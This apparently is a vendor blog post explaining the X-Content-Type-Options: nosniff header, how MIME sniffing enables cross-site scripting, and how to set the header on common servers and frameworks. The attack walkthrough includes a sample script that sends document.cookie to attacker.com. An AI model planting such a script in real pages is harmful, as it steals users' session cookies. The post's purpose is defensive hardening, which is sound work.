Skip to main content
Back to blog
March 6, 2026|5 min read|Hardening Guides

X-Content-Type-Options: nosniff Explained (And How to Add It)

The X-Content-Type-Options: nosniff header prevents MIME-type sniffing attacks. Learn what it does, why you need it, and how to add it in one minute.

ZeriFlow Team

1,097 words

What Is MIME-Type Sniffing?

Every file served over the web has a MIME type (Multipurpose Internet Mail Extensions) that tells the browser what kind of content it is. When your server sends a CSS file, it includes a header like:

Content-Type: text/css

This tells the browser: "This is a stylesheet. Interpret it as CSS."

MIME-type sniffing is when the browser ignores the Content-Type header and tries to guess the content type by examining the file's actual contents. Browsers do this as a "helpful" feature — if a server misconfigures a content type, the browser can still render the file correctly.

The problem is that this helpfulness creates a security vulnerability.

How the Attack Works

Here's a concrete attack scenario:

### Step 1: Upload Malicious Content An attacker uploads a file to your site — say, a profile picture. But instead of an actual image, they upload a file containing:

html
<script>
  // Steal cookies, redirect users, inject content
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

### Step 2: Server Serves It with Wrong Content-Type Your server stores the file and serves it. It might set the Content-Type as image/jpeg (based on the upload field) or even leave it unset.

### Step 3: Browser Sniffs and Executes Without X-Content-Type-Options: nosniff, the browser looks at the actual file contents, sees what looks like HTML/JavaScript, and decides to interpret it as such — ignoring the image/jpeg Content-Type header entirely.

The malicious script executes in the context of your domain, with access to your cookies and DOM. This is a full XSS attack.

Other MIME Sniffing Vectors

  • CSS injection: A file served as text/plain but containing CSS selectors that exfiltrate data through background-image URLs
  • JSON hijacking: API responses sniffed as HTML and rendered in a browser
  • SVG XSS: SVG files containing embedded JavaScript, sniffed and executed even when served as a different type

What X-Content-Type-Options Does

The X-Content-Type-Options header has exactly one valid value:

X-Content-Type-Options: nosniff

When this header is present, it tells the browser: "Trust the Content-Type header. Do not try to guess the MIME type."

Specifically, it enforces two behaviors:

  1. 1For scripts: The browser will refuse to execute a response that doesn't have a JavaScript MIME type (text/javascript, application/javascript, etc.)
  2. 2For stylesheets: The browser will refuse to apply a response that doesn't have a CSS MIME type (text/css)

This means even if an attacker uploads a malicious file, the browser won't execute it as a script or apply it as a stylesheet — because the Content-Type header won't match.

Setting nosniff

This is one of the simplest security headers to implement. There are no configuration options — just one line.

Nginx

nginx
server {
    add_header X-Content-Type-Options "nosniff" always;
}

The always keyword ensures the header is sent with every response, including error pages (403, 404, 500, etc.).

Apache

apache
# In httpd.conf, .htaccess, or VirtualHost block
Header always set X-Content-Type-Options "nosniff"

Make sure mod_headers is enabled:

bash
a2enmod headers
systemctl restart apache2

Cloudflare

Cloudflare can add this header automatically:

  1. 1Go to Rules > Transform Rules > Modify Response Header
  2. 2Create a new rule
  3. 3Header name: X-Content-Type-Options
  4. 4Value: nosniff
  5. 5Apply to all requests

Alternatively, use a Cloudflare Worker:

javascript
addEventListener('fetch', event => {
  event.respondWith(handleRequest(event.request));
});

async function handleRequest(request) {
  const response = await fetch(request);
  const newResponse = new Response(response.body, response);
  newResponse.headers.set('X-Content-Type-Options', 'nosniff');
  return newResponse;
}

Next.js

Next.js includes X-Content-Type-Options: nosniff by default since version 11. If you need to verify or configure it explicitly:

javascript
// next.config.js
const nextConfig = {
  async headers() {
    return [
      {
        source: '/(.*)',
        headers: [
          {
            key: 'X-Content-Type-Options',
            value: 'nosniff',
          },
        ],
      },
    ];
  },
};

module.exports = nextConfig;

Express.js

javascript
app.use((req, res, next) => {
  res.setHeader('X-Content-Type-Options', 'nosniff');
  next();
});

Or use helmet:

javascript
const helmet = require('helmet');
app.use(helmet.noSniff());

Caddy

header X-Content-Type-Options "nosniff"

IIS

In web.config:

xml
<system.webServer>
  <httpProtocol>
    <customHeaders>
      <add name="X-Content-Type-Options" value="nosniff" />
    </customHeaders>
  </httpProtocol>
</system.webServer>

Combined with Other Headers

X-Content-Type-Options works best as part of a complete security header strategy. Here's a recommended set:

nginx
# Complete security headers for Nginx
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self';" always;

Each header protects against a different attack vector:

HeaderPrevents
X-Content-Type-OptionsMIME-type sniffing attacks
X-Frame-OptionsClickjacking via iframes
Referrer-PolicyURL information leakage
Strict-Transport-SecurityProtocol downgrade attacks
Permissions-PolicyUnauthorized browser API access
Content-Security-PolicyXSS and data injection

Test That It's Working

Quick Check with curl

bash
curl -s -D - -o /dev/null https://your-site.com | grep -i x-content-type-options

Expected output:

X-Content-Type-Options: nosniff

### Browser DevTools 1. Open DevTools (F12) > Network tab 2. Reload the page 3. Click on the main document request 4. Check Response Headers for X-Content-Type-Options: nosniff

### Full Security Scan Use ZeriFlow to verify all your security headers at once — it checks for nosniff along with 10+ other header configurations and gives you specific recommendations if anything is missing.

Is It Worth It?

Absolutely. Here's why:

  • Zero performance cost — Adding one header has no measurable impact on response times or bandwidth
  • Zero compatibility issues — Supported by all modern browsers (Chrome, Firefox, Safari, Edge) since 2014+
  • Zero maintenance — Set it once, never touch it again
  • Blocks an entire class of attacks — MIME sniffing vulnerabilities are eliminated with one line

There is literally no downside to enabling this header. If your server is correctly setting Content-Type headers (which it should be), nosniff changes nothing about how your content is displayed while preventing a real category of attacks.

The only scenario where nosniff can cause issues is if your server is serving files with incorrect Content-Type headers. In that case, the fix is to correct the Content-Type, not to leave MIME sniffing enabled.

Add X-Content-Type-Options: nosniff to your server configuration today. It takes 30 seconds and removes a real attack vector from your website.

Ready to check your site?

Run a free security scan in 30 seconds.

Related articles

Keep reading